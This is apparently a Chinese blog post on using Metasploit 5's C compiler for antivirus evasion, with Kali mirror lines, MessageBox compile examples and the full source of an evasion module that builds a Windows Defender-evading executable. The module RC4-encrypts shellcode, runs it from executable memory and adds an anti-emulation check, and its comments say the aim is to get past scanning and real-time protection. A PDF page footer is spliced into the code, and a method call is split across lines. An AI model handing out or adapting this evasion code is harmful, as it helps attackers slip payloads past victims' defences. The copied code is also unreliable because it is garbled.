MSF5一些特色以及如何使用其免杀

deb http://mirrors.aliyun.com/kali kali-experimental main non-free contrib 
deb-src http://mirrors.aliyun.com/kali kali-experimental main non-free contrib 

c_template = %Q|#include <Windows.h>  

int main(void) {  
  LPCTSTR lpMessage = "Hello World";  
  LPCTSTR lpTitle = "Hi";  
  MessageBox(NULL, lpMessage, lpTitle, MB_OK);  
  return 0;  
}|  

require 'metasploit/framework/compiler/windows'  

#This will save the binary in variable exe  
exe = Metasploit::Framework::Compiler::Windows.compile_c(c_template)  

#This will save the binary as a file  
Metasploit::Framework::Compiler::Windows.compile_c_to_file('/tmp/test.exe', c_template)  

c_template = %Q|#include <Windows.h>  

BOOL APIENTRY DllMain __attribute__((export))(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {  
  switch (dwReason) {  
    case DLL_PROCESS_ATTACH:  
      MessageBox(NULL, "Hello World", "Hello", MB_OK);  
      break;  
    case DLL_THREAD_ATTACH:  
      break;  
    case DLL_THREAD_DETACH:  
      break;  
    case DLL_PROCESS_DETACH:  
      break;  
  }  

  return TRUE;  
}  

// This will be a function in the export table  
int Msg __attribute__((export))(void) {  
  MessageBox(NULL, "Hello World", "Hello", MB_OK);  
  return 0;  
}  
|  

require 'metasploit/framework/compiler/windows'  
dll = Metasploit::Framework::Compiler::Windows.compile_c(c_template, :dll)  

require 'msf/core'  
require 'metasploit/framework/compiler/windows'  

c_source_code = %Q|  
#include <Windows.h>  

int main() {  
  const char* content = "Hello World";  
  const char* title = "Hi";  
  MessageBox(0, content, title, MB_OK);  
  return 0;  
}|  

outfile = "/tmp/helloworld.exe"  
weight = 70 # This value is used to determine how random the code gets.  
Metasploit::Framework::Compiler::Windows.compile_random_c_to_file(outfile, c_source_code, weight: weight)  

##
#This module requires Metasploit: https://metasploit.com/download  
#Current source: https://github.com/rapid7/metasploit-framework  
##
require 'metasploit/framework/compiler/windows'  
class MetasploitModule < Msf::Evasion  
    def initialize(info={})  
        super(merge_info(info,  
            'Name' => 'Microsoft Windows Defender Evasive Executable',  
            'Description' => %q{  
                This module allows you to generate a Windows EXE that evades against Microsoft  
                Windows Defender. Multiple techniques such as shellcode encryption, source code obfuscation, Metasm, and anti-emulation are used to achieve this.  
                For best results, please try to use payloads that use a more secure channel such as HTTPS or RC4 in order to avoid the payload network traffc getting caught by antivirus better.  
            },  
            'Author' => [ 'sinn3r' ],  
            'License' => MSF_LICENSE,  
            'Platform' => 'win',  
            'Arch' => ARCH_X86,  
            'Targets' => [ ['Microsoft Windows', {}] ]  
        ))  
    end  
def rc4_key  
    @rc4_key ||= Rex::Text.rand_text_alpha(32..64)  
end  
def get_payload  
    @c_payload ||= lambda {  
        opts = { format: 'rc4', key: rc4_key }  
        junk = Rex::Text.rand_text(10..1024)  
        p = payload.encoded + junk  

        return {  
        size: p.length,  
        c_format: Msf::Simple::Buffer.transform(p, 'c', 'buf', opts)  
        }  
    }.call  
end  

def c_template  
    @c_template ||= %Q|#include <Windows.h>  
#include <rc4.h>  
// The encrypted code allows us to get around static scanning  
#{get_payload[:c_format]}  

int main() {  
    int lpBufSize = sizeof(int) * #{get_payload[:size]};  
    LPVOID lpBuf = VirtualAlloc(NULL, lpBufSize, MEM_COMMIT,| Rapid7.com Encapsulating Antivirus (AV) Evasion Techniques - 20  
0x00000040);  
    memset(lpBuf, '', lpBufSize);  
    HANDLE proc = OpenProcess(0x1F0FFF, false, 4);  
    // Checking NULL allows us to get around Real-time protection  
    if (proc == NULL) {  
        RC4("#{rc4_key}", buf, (char*) lpBuf, #{get_payload[:size]});  
        void (*func)();  
        func = (void (*)()) lpBuf;  
        (void)(*func)();  
    }  

    return 0;  
}|  
    end  
    def run  
        vprint_line c_template  
        # The randomized code allows us to generate a unique EXE  
        bin = Metasploit::Framework::Compiler::Windows.compile_  
        random_c(c_template)  
        print_status("Compiled executable size: #{bin.length}")  
        file_create(bin)  
    end  
end